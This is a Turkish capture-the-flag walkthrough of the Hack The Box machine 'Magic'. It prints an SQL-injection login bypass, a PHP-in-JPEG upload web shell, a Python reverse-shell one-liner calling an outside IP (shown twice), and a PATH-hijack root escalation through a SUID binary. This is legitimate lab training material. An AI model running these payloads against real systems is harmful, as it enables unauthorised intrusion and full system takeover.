Hack The Box serimize devam ederken karşımıza bu sefer Magic isimli makine çıkıyor. Çözerken zevk aldığımı söylemeden geçemeyeceğim. Tam 30 puan veren orta zorluktaki İlgili makinemiz bu.
Nmap taraması yaptığımda 22 ve 80. portun açık olduğunu görüyorum. Yani web’den devam edeceğiz.
Web’de beni şöyle bir sayfa karşılıyor. Sol alt köşede login sayfası olduğunu görüyorum.
Giriş de birkaç deneme yanılmadan sonra sqli olup olmadığını kontrol ediyorum ve giriş yapabiliyorum.
Kullanıcı adı: ‘or’kb’=’kb
Parola: ‘or’kb’=’kb
Karşıma sadece png ve jpeg dosyalarını yükleyebileceğimi söyleyen upload ekranı çıkıyor. Ben de herhangi bir resim dosyası bulup exiftool ile içine php kodu gömüyorum. Dosya adını .php.jpeg şeklinde kaydedip yüklemeyi deniyorum.
Görüldüğü üzere shell dosyam başarıyla yüklendi ama nereye? Resim kaynağını bulmak için anasayfaya gelip kaynağı görüntüle dediğimde resimlerin dosya yolunu görebilirsiniz.
/images/uploads/ruger.php.jpeg dosyasını “komut” parametresiyle çağırıp python reverse shell almayı deneyelim bakalım.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.229",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
netcat ile 1337. portu dinlemeye aldığımda ters bağlantı elde ettim
Bildiğiniz bir işlem olan python ile etkileşimli kabuğa geçtim.
Makinede gezinirken /var/www/Magic dizini altında veritabanı bilgilerini buldum.Bu bilgilerle belki theseus kullanıcısına geçiş yapabilirim.
Kullanıcı adı ve parolayı denediğimde işe yaramadı. Bende bu bilgileri kullanarak mysqdump ile veritabanı dökümünü aldım ve karşıma farklı bir parola çıktı.
Bulduğum parolayı theseus kullancısı için denediğimde işe yaradı ve user flagı elde ettim.
Tabi bununla bitmedi.Şimdi sırada root olmak var. Bunun için birkaç yöntem denedim ve en son suid bit ayarlı dosyalara baktığımda karşıma farklı bir dosya çıktı. sysinfo isimli bu programa suid bit vererek root haklarıyla çalışmasına olanak sağlanmış.
İlgili programın ne olduğunu anlamak için strings komutuyla sysinfo içinde geçen stringlere baktığımda belli başlı komutları root haklarıyla çalıştırdığını gördüm.
Burada fdisk ile de yetki yükseltebilirsiniz ama ben free komutu ile yetki yükselteceğim. Bunun için tmp dizini altında KB isimli klasör oluşturuyorum.
Touch ile free isimli dosya oluşturup içine web kısmında kullandığımız python reverse shell kodunu yapıştırıyorum.
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.229",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Neden mi böyle yaptık? Çünkü path çevre değişkenine eğer bulunduğumuz dizini verirsek kabuktan çalıştırılacak olan bütün programlar tarafından erişilebilir olur. Bu şu demek eğer sysinfo komutunu tekrar çalıştırırsam benim kendi oluşturduğum free dosyasını kullanacak(root haklarıyla) ve bana tekrar ters bağlantı gelecek.
Tekrar sysinfo komutunu çalıştırıyorum ve root oluyorum.